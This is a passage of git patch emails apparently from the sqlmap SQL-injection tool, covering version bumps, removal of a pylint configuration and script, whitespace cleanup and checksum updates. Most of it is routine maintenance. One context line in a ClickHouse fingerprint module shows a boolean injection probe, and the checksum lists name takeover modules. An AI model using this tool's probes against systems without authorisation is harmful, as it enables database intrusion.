ec77bee2f221157aff16ec518ca2f3f8359952cd0835f70dd6a5cd8d57caf5bc lib/takeover/web.py 21f2ccd7363b1da8f4f0b1e5050ed2a6806914d2d13e280d7a6635ce127823c3 lib/takeover/xp_cmdshell.py 8a09c54f9020ca170ddc6f41005c8b03533d6f5961a2bb9af02337b8d787fe3e lib/techniques/blind/inference.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c57da5cea6c..21c050eca76 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.7" +VERSION = "1.9.5.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index b498c3fe1c6..8906d2a5140 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -336,7 +336,7 @@ def udfInjectCustom(self): msg += "\n[q] Quit" while True: - choice = readInput(msg).upper() + choice = readInput(msg, default=None, checkBatch=False).upper() if choice == 'Q': break From 48843acbf38eda22700f78d74c8209b853a3b45a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 May 2025 22:07:24 +0200 Subject: [PATCH 167/853] Removing some obsolete files --- .pylintrc | 546 ---------------------------------------- data/txt/sha256sums.txt | 3 +- extra/shutils/pylint.sh | 6 - lib/core/settings.py | 2 +- 4 files changed, 2 insertions(+), 555 deletions(-) delete mode 100644 .pylintrc delete mode 100755 extra/shutils/pylint.sh diff --git a/.pylintrc b/.pylintrc deleted file mode 100644 index 631dcdd9110..00000000000 --- a/.pylintrc +++ /dev/null @@ -1,546 +0,0 @@ -# Based on Apache 2.0 licensed code from https://github.com/ClusterHQ/flocker - -[MASTER] - -# Specify a configuration file. -#rcfile= - -# Python code to execute, usually for sys.path manipulation such as -# pygtk.require(). -init-hook="from pylint.config import find_pylintrc; import os, sys; sys.path.append(os.path.dirname(find_pylintrc()))" - -# Add files or directories to the blacklist. They should be base names, not -# paths. -ignore= - -# Pickle collected data for later comparisons. -persistent=no - -# List of plugins (as comma separated values of python modules names) to load, -# usually to register additional checkers. -load-plugins= - -# Use multiple processes to speed up Pylint. -# DO NOT CHANGE THIS VALUES >1 HIDE RESULTS!!!!! -jobs=1 - -# Allow loading of arbitrary C extensions. Extensions are imported into the -# active Python interpreter and may run arbitrary code. -unsafe-load-any-extension=no - -# A comma-separated list of package or module names from where C extensions may -# be loaded. Extensions are loading into the active Python interpreter and may -# run arbitrary code -extension-pkg-whitelist= - -# Allow optimization of some AST trees. This will activate a peephole AST -# optimizer, which will apply various small optimizations. For instance, it can -# be used to obtain the result of joining multiple strings with the addition -# operator. Joining a lot of strings can lead to a maximum recursion error in -# Pylint and this flag can prevent that. It has one side effect, the resulting -# AST will be different than the one from reality. -optimize-ast=no - - -[MESSAGES CONTROL] - -# Only show warnings with the listed confidence levels. Leave empty to show -# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED -confidence= - -# Enable the message, report, category or checker with the given id(s). You can -# either give multiple identifier separated by comma (,) or put this option -# multiple time. See also the "--disable" option for examples. -disable=all - -enable=import-error, - import-self, - reimported, - wildcard-import, - misplaced-future, - deprecated-module, - unpacking-non-sequence, - invalid-all-object, - undefined-all-variable, - used-before-assignment, - cell-var-from-loop, - global-variable-undefined, - redefine-in-handler, - unused-import, - unused-wildcard-import, - global-variable-not-assigned, - undefined-loop-variable, - global-at-module-level, - bad-open-mode, - redundant-unittest-assert, - boolean-datetime - deprecated-method, - anomalous-unicode-escape-in-string, - anomalous-backslash-in-string, - not-in-loop, - continue-in-finally, - abstract-class-instantiated, - star-needs-assignment-target, - duplicate-argument-name, - return-in-init, - too-many-star-expressions, - nonlocal-and-global, - return-outside-function, - return-arg-in-generator, - invalid-star-assignment-target, - bad-reversed-sequence, - nonexistent-operator, - yield-outside-function, - init-is-generator, - nonlocal-without-binding, - lost-exception, - assert-on-tuple, - dangerous-default-value, - duplicate-key, - useless-else-on-loop - expression-not-assigned, - confusing-with-statement, - unnecessary-lambda, - pointless-statement, - pointless-string-statement, - unnecessary-pass, - unreachable, - using-constant-test, - bad-super-call, - missing-super-argument, - slots-on-old-class, - super-on-old-class, - property-on-old-class, - not-an-iterable, - not-a-mapping, - format-needs-mapping, - truncated-format-string, - missing-format-string-key, - mixed-format-string, - too-few-format-args, - bad-str-strip-call, - too-many-format-args, - bad-format-character, - format-combined-specification, - bad-format-string-key, - bad-format-string, - missing-format-attribute, - missing-format-argument-key, - unused-format-string-argument - unused-format-string-key, - invalid-format-index, - bad-indentation, - mixed-indentation, - unnecessary-semicolon, - lowercase-l-suffix, - invalid-encoded-data, - unpacking-in-except, - import-star-module-level, - long-suffix, - old-octal-literal, - old-ne-operator, - backtick, - old-raise-syntax, - metaclass-assignment, - next-method-called, - dict-iter-method, - dict-view-method, - indexing-exception, - raising-string, - using-cmp-argument, - cmp-method, - coerce-method, - delslice-method, - getslice-method, - hex-method, - nonzero-method, - t-method, - setslice-method, - old-division, - logging-format-truncated, - logging-too-few-args, - logging-too-many-args, - logging-unsupported-format, - logging-format-interpolation, - invalid-unary-operand-type, - unsupported-binary-operation, - not-callable, - redundant-keyword-arg, - assignment-from-no-return, - assignment-from-none, - not-context-manager, - repeated-keyword, - missing-kwoa, - no-value-for-parameter, - invalid-sequence-index, - invalid-slice-index, - unexpected-keyword-arg, - unsupported-membership-test, - unsubscriptable-object, - access-member-before-definition, - method-hidden, - assigning-non-slot, - duplicate-bases, - inconsistent-mro, - inherit-non-class, - invalid-slots, - invalid-slots-object, - no-method-argument, - no-self-argument, - unexpected-special-method-signature, - non-iterator-returned, - arguments-differ, - signature-differs, - bad-staticmethod-argument, - non-parent-init-called, - bad-except-order, - catching-non-exception, - bad-exception-context, - notimplemented-raised, - raising-bad-type, - raising-non-exception, - misplaced-bare-raise, - duplicate-except, - nonstandard-exception, - binary-op-exception, - not-async-context-manager, - yield-inside-async-function - -# Needs investigation: -# abstract-method (might be indicating a bug? probably not though) -# protected-access (requires some refactoring) -# attribute-defined-outside-init (requires some refactoring) -# super-init-not-called (requires some cleanup) - -# Things we'd like to enable someday: -# redefined-builtin (requires a bunch of work to clean up our code first) -# redefined-outer-name (requires a bunch of work to clean up our code first) -# undefined-variable (re-enable when pylint fixes https://github.com/PyCQA/pylint/issues/760) -# no-name-in-module (giving us spurious warnings https://github.com/PyCQA/pylint/issues/73) -# unused-argument (need to clean up or code a lot, e.g. prefix unused_?) -# function-redefined (@overload causes lots of spurious warnings) -# too-many-function-args (@overload causes spurious warnings... I think) -# parameter-unpacking (needed for eventual Python 3 compat) -# print-statement (needed for eventual Python 3 compat) -# filter-builtin-not-iterating (Python 3) -# map-builtin-not-iterating (Python 3) -# range-builtin-not-iterating (Python 3) -# zip-builtin-not-iterating (Python 3) -# many others relevant to Python 3 -# unused-variable (a little work to cleanup, is all) - -# ... -[REPORTS] - -# Set the output format. Available formats are text, parseable, colorized, msvs -# (visual studio) and html. You can also give a reporter class, eg -# mypackage.mymodule.MyReporterClass. -output-format=parseable - -# Put messages in a separate file for each module / package specified on the -# command line instead of printing them on stdout. Reports (if any) will be -# written in a file name "pylint_global.[txt|html]". -files-output=no - -# Tells whether to display a full report or only the messages -reports=no - -# Python expression which should return a note less than 10 (10 is the highest -# note). You have access to the variables errors warning, statement which -# respectively contain the number of errors / warnings messages and the total -# number of statements analyzed. This is used by the global evaluation report -# (RP0004). -evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10) - -# Template used to display messages. This is a python new-style format string -# used to format the message information. See doc for all details -#msg-template= - - -[LOGGING] - -# Logging modules to check that the string format arguments are in logging -# function parameter format -logging-modules=logging - - -[FORMAT] - -# Maximum number of characters on a single line. -max-line-length=100 - -# Regexp for a line that is allowed to be longer than the limit. -ignore-long-lines=^\s*(# )??$ - -# Allow the body of an if to be on the same line as the test if there is no -# else. -single-line-if-stmt=no - -# List of optional constructs for which whitespace checking is disabled. `dict- -# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}. -# `trailing-comma` allows a space between comma and closing bracket: (a, ). -# `empty-line` allows space-only lines. -no-space-check=trailing-comma,dict-separator - -# Maximum number of lines in a module -max-module-lines=1000 - -# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1 -# tab). -indent-string=' ' - -# Number of spaces of indent required inside a hanging or continued line. -indent-after-paren=4 - -# Expected format of line ending, e.g. empty (any line ending), LF or CRLF. -expected-line-ending-format= - - -[TYPECHECK] - -# Tells whether missing members accessed in mixin class should be ignored. A -# mixin class is detected if its name ends with "mixin" (case insensitive). -ignore-mixin-members=yes - -# List of module names for which member attributes should not be checked -# (useful for modules/projects where namespaces are manipulated during runtime -# and thus existing member attributes cannot be deduced by static analysis. It -# supports qualified module names, as well as Unix pattern matching. -ignored-modules=thirdparty.six.moves - -# List of classes names for which member attributes should not be checked -# (useful for classes with attributes dynamically set). This supports can work -# with qualified names. -ignored-classes= - -# List of members which are set dynamically and missed by pylint inference -# system, and so shouldn't trigger E1101 when accessed. Python regular -# expressions are accepted. -generated-members= - - -[VARIABLES] - -# Tells whether we should check for unused import in __init__ files. -init-import=no - -# A regular expression matching the name of dummy variables (i.e. expectedly -# not used). -dummy-variables-rgx=_$|dummy - -# List of additional names supposed to be defined in builtins. Remember that -# you should avoid to define new builtins when possible. -additional-builtins= - -# List of strings which can identify a callback function by name. A callback -# name must start or end with one of those strings. -callbacks=cb_,_cb - - -[SIMILARITIES] - -# Minimum lines number of a similarity. -min-similarity-lines=4 - -# Ignore comments when computing similarities. -ignore-comments=yes - -# Ignore docstrings when computing similarities. -ignore-docstrings=yes - -# Ignore imports when computing similarities. -ignore-imports=no - - -[SPELLING] - -# Spelling dictionary name. Available dictionaries: none. To make it working -# install python-enchant package. -spelling-dict= - -# List of comma separated words that should not be checked. -spelling-ignore-words= - -# A path to a file that contains private dictionary; one word per line. -spelling-private-dict-file= - -# Tells whether to store unknown words to indicated private dictionary in -# --spelling-private-dict-file option instead of raising a message. -spelling-store-unknown-words=no - - -[MISCELLANEOUS] - -# List of note tags to take in consideration, separated by a comma. -notes=FIXME,XXX,TODO - - -[BASIC] - -# List of builtins function names that should not be used, separated by a comma -bad-functions=map,filter,input - -# Good variable names which should always be accepted, separated by a comma -good-names=i,j,k,ex,Run,_ - -# Bad variable names which should always be refused, separated by a comma -bad-names=foo,bar,baz,toto,tutu,tata - -# Colon-delimited sets of names that determine each other's naming style when -# the name regexes allow several styles. -name-group= - -# Include a hint for the correct naming format with invalid-name -include-naming-hint=no - -# Regular expression matching correct function names -function-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for function names -function-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct variable names -variable-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for variable names -variable-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct constant names -const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$ - -# Naming hint for constant names -const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$ - -# Regular expression matching correct attribute names -attr-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for attribute names -attr-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct argument names -argument-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for argument names -argument-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct class attribute names -class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ - -# Naming hint for class attribute names -class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ - -# Regular expression matching correct inline iteration names -inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$ - -# Naming hint for inline iteration names -inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$ - -# Regular expression matching correct class names -class-rgx=[A-Z_][a-zA-Z0-9]+$ - -# Naming hint for class names -class-name-hint=[A-Z_][a-zA-Z0-9]+$ - -# Regular expression matching correct module names -module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ - -# Naming hint for module names -module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ - -# Regular expression matching correct method names -method-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for method names -method-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression which should only match function or class names that do -# not require a docstring. -no-docstring-rgx=^_ - -# Minimum line length for functions/classes that require docstrings, shorter -# ones are exempt. -docstring-min-length=-1 - - -[ELIF] - -# Maximum number of nested blocks for function / method body -max-nested-blocks=5 - - -[IMPORTS] - -# Deprecated modules which should not be used, separated by a comma -deprecated-modules=regsub,TERMIOS,Bastion,rexec - -# Create a graph of every (i.e. internal and external) dependencies in the -# given file (report RP0402 must not be disabled) -import-graph= - -# Create a graph of external dependencies in the given file (report RP0402 must -# not be disabled) -ext-import-graph= - -# Create a graph of internal dependencies in the given file (report RP0402 must -# not be disabled) -int-import-graph= - - -[DESIGN] - -# Maximum number of arguments for function / method -max-args=5 - -# Argument names that match this expression will be ignored. Default to name -# with leading underscore -ignored-argument-names=_.* - -# Maximum number of locals for function / method body -max-locals=15 - -# Maximum number of return / yield for function / method body -max-returns=6 - -# Maximum number of branch for function / method body -max-branches=12 - -# Maximum number of statements in function / method body -max-statements=50 - -# Maximum number of parents for a class (see R0901). -max-parents=7 - -# Maximum number of attributes for a class (see R0902). -max-attributes=7 - -# Minimum number of public methods for a class (see R0903). -min-public-methods=2 - -# Maximum number of public methods for a class (see R0904). -max-public-methods=20 - -# Maximum number of boolean expressions in a if statement -max-bool-expr=5 - - -[CLASSES] - -# List of method names used to declare (i.e. assign) instance attributes. -defining-attr-methods=__init__,__new__,setUp - -# List of valid names for the first argument in a class method. -valid-classmethod-first-arg=cls - -# List of valid names for the first argument in a metaclass class method. -valid-metaclass-classmethod-first-arg=mcs - -# List of member names, which should be excluded from the protected access -# warning. -exclude-protected=_asdict,_fields,_replace,_source,_make - - -[EXCEPTIONS] - -# Exceptions that will emit a warning when being caught. Defaults to -# "Exception" -overgeneral-exceptions=Exception diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d03f54d51df..ec75ceeafb8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -153,7 +153,6 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ 1909f0d510d0968fb1a6574eec17212b59081b2d7eb97399a80ba0dc0e77ddd1 extra/shutils/pycodestyle.sh 026af5ba1055e85601dcdcb55bc9de41a6ee2b5f9265e750c878811c74dee2b0 extra/shutils/pydiatra.sh 2ce9ac90e7d37a38b9d8dcc908632575a5bafc4c75d6d14611112d0eea418369 extra/shutils/pyflakes.sh -ab70028ea7e47484486b88354ed9ef648aac08ccba74a9507e5a401067f13997 extra/shutils/pylint.sh 02adeb5acf8f9330ce5e5f36c9a98d6114948c6040f76dd4f1ed3385d72f6d6f extra/shutils/pypi.sh df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh @@ -188,7 +187,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -fbf567e2491aaa14a8471a0a5773b77d4e186cc184d5c1d8ab8705850a930df5 lib/core/settings.py +f3f8fd998b79b374e9ce2a1aacd174eec626f53927d2c7192ea3201b239f93fe lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py diff --git a/extra/shutils/pylint.sh b/extra/shutils/pylint.sh deleted file mode 100755 index a3a24a2adf7..00000000000 --- a/extra/shutils/pylint.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/bash - -# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) -# See the file 'LICENSE' for copying permission - -find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \; diff --git a/lib/core/settings.py b/lib/core/settings.py index 21c050eca76..6a49a06034f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.8" +VERSION = "1.9.5.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d3d54a965b502b8893f6a920d8b1cc117f51154a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 May 2025 22:09:41 +0200 Subject: [PATCH 168/853] Removing some dummy whitespace --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/dbms/clickhouse/fingerprint.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ec75ceeafb8..e2f5a485585 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -f3f8fd998b79b374e9ce2a1aacd174eec626f53927d2c7192ea3201b239f93fe lib/core/settings.py +0a93452bb00bf38464c27f0f65dd1da0f7b718a8af52055193bb180ae45c2c67 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -285,7 +285,7 @@ bd65dade7645aa0531995fb44a34eb9ce241339e13d492fb1f41829c20ee6cf9 plugins/dbms/c b32a001e38d783da18fb26a2736ff83245c046bc4ced2b8eea30a4d3a43c17ff plugins/dbms/clickhouse/connector.py c855b2813bee40f936da927d32c691a593f942ed130a6fcd8bd8ba2dd0b79023 plugins/dbms/clickhouse/enumeration.py 6a747cc03150e842ef965f0ba7b6e6af09cf402c5fcec352c4c33262a0fb6649 plugins/dbms/clickhouse/filesystem.py -e159d542bb11c39efddb3d2361e85a6c02c3fcd8379d1e361788b1238cb30d4c plugins/dbms/clickhouse/fingerprint.py +35724901cd3caaedd39547bc93260bd92e79d712686e77df3b25090df3001160 plugins/dbms/clickhouse/fingerprint.py 3d11998b69329244ca28e2c855022c81a45d93c1f7125c608b296cc6cae52f90 plugins/dbms/clickhouse/__init__.py 0e10abe53ab22850c0bde5cdbc25bb8762b49acd33e516908a925ca120e99b8d plugins/dbms/clickhouse/syntax.py 97aad46616dd7de6baf95cb0a564ffe59677cacf762c21ade3a76fdf593ea144 plugins/dbms/clickhouse/takeover.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 6a49a06034f..bf0b899c6bf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.9" +VERSION = "1.9.5.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py index e0f8bc34e26..8bcca94ccc0 100755 --- a/plugins/dbms/clickhouse/fingerprint.py +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -67,7 +67,7 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.CLICKHOUSE logger.info(infoMsg) - + result = inject.checkBooleanExpression("halfMD5('abcd')='16356072519128051347'") if result: @@ -80,7 +80,7 @@ def checkDbms(self): logger.warning(warnMsg) return False - + setDbms(DBMS.CLICKHOUSE) self.getBanner() return True From ad1266a080db01cca53f1cdf3c4c10d225a973ea Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 May 2025 22:30:54 +0200 Subject: [PATCH 169/853] Minor style updates --- data/txt/sha256sums.txt | 25 ++++++++++++------------- extra/shutils/modernize.sh | 8 -------- lib/controller/checks.py | 4 ++-- lib/core/common.py | 4 ++-- lib/core/option.py | 1 - lib/core/settings.py | 2 +- lib/core/target.py | 2 +- lib/request/connect.py | 2 +- lib/techniques/blind/inference.py | 4 ++-- lib/utils/api.py | 2 +- lib/utils/deps.py | 2 +- lib/utils/getch.py | 2 +- sqlmapapi.py | 1 - tamper/ord2ascii.py | 4 +--- 14 files changed, 25 insertions(+), 38 deletions(-) delete mode 100755 extra/shutils/modernize.sh diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e2f5a485585..78619757dc0 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -146,7 +146,6 @@ cb43de49a549ae5524f3066b99d6bc3b0b684c6e68c2e75602e87b2ac5718716 extra/shellcod f3d8033f8c451ae28ca4b8f65cf2ceb77fadba21f11f19229f08398cbf523bc6 extra/shutils/drei.sh 2462efbca0d1572d2e6d380c8be48caa9e6d481b3b42ebe5705de4ba93e6c9fe extra/shutils/duplicates.py 336aebaff9a9a9339c71a03b794ec52429c4024a9ebfd7e5a60c196fad21326e extra/shutils/junk.sh -8779e1a56165327e49bbfd6cb2a461ab18cd8a83e9bfc139c9bdfc8e44f2a23f extra/shutils/modernize.sh 74fe683e94702bef6b8ea8eebb7fc47040e3ef5a03dec756e3cf4504a00c7839 extra/shutils/newlines.py fed05c468af662ba6ca6885baf8bf85fec1e58f438b3208f3819ad730a75a803 extra/shutils/postcommit-hook.sh ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/precommit-hook.sh @@ -159,13 +158,13 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 extra/vulnserver/__init__.py 9fb22b629ffb69d9643230f7bea50b0ad25836058647a3b2e88a1e254aa3ce74 extra/vulnserver/vulnserver.py 66d14fc303b061ccf983bf3ff84b5e1345c4fe643b662fbc5ec1a924d6415aee lib/controller/action.py -f0a3c3a555920b7e9321c234b54718e3d70f8ca33a8560a389c3b981e98c1585 lib/controller/checks.py +6b6140f5b16625037130383466f92ef8f14a2093794211ffacbb6a8b53ed9929 lib/controller/checks.py d7b1d29dfa0e4818553259984602410b14c60803cae9c9bb7b249ed7ad71a3f6 lib/controller/controller.py de2b0220db1c79d8720b636d267b11e117151f5f99740567096e9b4cbb7cc9d5 lib/controller/handler.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/controller/__init__.py 9296a1ffc92d839802ac9da4fcfd8e9d3f325f72a65805e774649f435ca5549e lib/core/agent.py f848dcfdacb5143f803f4e9474cf3eef939039c26c522ca09777c425661300f0 lib/core/bigarray.py -afecad4b14e8008f6f97a6ec653fc930dfd8dc65f9d24a51274f8b5c3f63a4e2 lib/core/common.py +4d0beec02be7492a0fd10757c11de2756eed2ad3272380feb0f2e350e4b4067d lib/core/common.py 88fbbe7c41511b17d7ef449d675a84eaa80cac6ebf457a18577eadd62f6f1330 lib/core/compat.py 5ce8f2292f99d17d69bfc40ded206bfdfd06e2e3660ff9d1b3c56163793f8d1c lib/core/convert.py f561310b3cea570cc13d9f0aff16cce8b097d51275f8b947e7fff4876ac65c32 lib/core/data.py @@ -180,17 +179,17 @@ bdd1b5b3eb42cffdc1be78b8fe4e1bb2ec17cd86440a7aeb08fc599205089e94 lib/core/decor 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/core/__init__.py 53499dc202a036289e3b2b9699d19568e794d077e16fd3a5c91771983de45451 lib/core/log.py 79c6b0332efa7cdf752f5caad6bd81a78a0369f2c33c107d9aaeaf52edc7e6e7 lib/core/optiondict.py -2f007b088aad979f75c4d864603dfc685da5be219ae116f2bb0d6445d2db4f83 lib/core/option.py +ade52dd8b09d14b69088409ad1cd39c7d97d5ce8e7eb80546d1a0371ce0043ee lib/core/option.py 81275fdbd463d89a2bfd8c00417a17a872aad74f34c18e44be79c0503e67dfa5 lib/core/patch.py e79df3790f16f67988e46f94b0a516d7ee725967f7698c8e17f210e4052203a7 lib/core/profiling.py c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readlineng.py 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -0a93452bb00bf38464c27f0f65dd1da0f7b718a8af52055193bb180ae45c2c67 lib/core/settings.py +8c697de92344bc70e2facf998d497a734b6ac22804684c17a33d099c8aaee3dd lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py -9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py +32d0752f1a88c52b049cbe1aedff6e0afb794544ff689f54cb72e159b8d5177c lib/core/target.py b1071f449a66b4ceacd4b84b33a73d9e0a3197d271d72daaa406ba473a8bb625 lib/core/testing.py 3b47307b044c07389eec05d856403a94c9b8bd0d36aeaab11ef702b33ae499d0 lib/core/threads.py 69b86b483368864639b9d41ff70ab0f2c4a28d4ad66b590f95ccba0566605c69 lib/core/unescaper.py @@ -210,7 +209,7 @@ cbabdde72df4bd8d6961d589f1721dd938d8f653aa6af8900a31af6e2586405d lib/parse/site 89417568d7f19e48d39a8a9a4227d3d2b71d1c9f61139a41b1835fb5266fcab8 lib/request/basic.py 6139b926a3462d14ddd50acdb8575ae442b8fab089db222721535092b9af3ea1 lib/request/chunkedhandler.py 6be5719f3c922682931779830a4571a13d5612a69e2423fd60a254e8dbceaf5c lib/request/comparison.py -b27dd003eba5ac4697b6a1d5a6712e6aca380436a5a379bd5f2e831d6dca19bd lib/request/connect.py +3a59db656c7000c3e2b554569638a87c167e5c152629c17f0f12eda6c1a06cb2 lib/request/connect.py 0649a39c5cc2fc0f4c062b100ced17e3e6934a7e578247dfc65b650edc29825e lib/request/direct.py 5283754cf387ce4e645ee50834ee387cde29a768aaada1a6a07c338da216c94d lib/request/dns.py 844fae318d6b3141bfc817aac7a29868497b5e7b4b3fdd7c751ad1d4a485324f lib/request/httpshandler.py @@ -229,7 +228,7 @@ a80176c3bab60af1f45483b1121f2c5a8d0c269eebe0415f78d058302b646aea lib/takeover/r 244ccb3044707e0f2380540b8b2bbaeafa98dc2a0f18619c99a7949375132ffc lib/takeover/udf.py ec77bee2f221157aff16ec518ca2f3f8359952cd0835f70dd6a5cd8d57caf5bc lib/takeover/web.py 21f2ccd7363b1da8f4f0b1e5050ed2a6806914d2d13e280d7a6635ce127823c3 lib/takeover/xp_cmdshell.py -8a09c54f9020ca170ddc6f41005c8b03533d6f5961a2bb9af02337b8d787fe3e lib/techniques/blind/inference.py +179a8b5b930bfc77490be4e51c2b5677a160c5143187a483c7900536836b40a8 lib/techniques/blind/inference.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/techniques/blind/__init__.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/techniques/dns/__init__.py 1b8b4fe2088247f99b96ccab078a8bd72dc934d7bd155498eec2a77b67c55daf lib/techniques/dns/test.py @@ -240,11 +239,11 @@ ec77bee2f221157aff16ec518ca2f3f8359952cd0835f70dd6a5cd8d57caf5bc lib/takeover/w 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/techniques/union/__init__.py 3349573564c035ef7c3dbca7da3aecde139f31621395a1a6a7d2eef1dccbb9b0 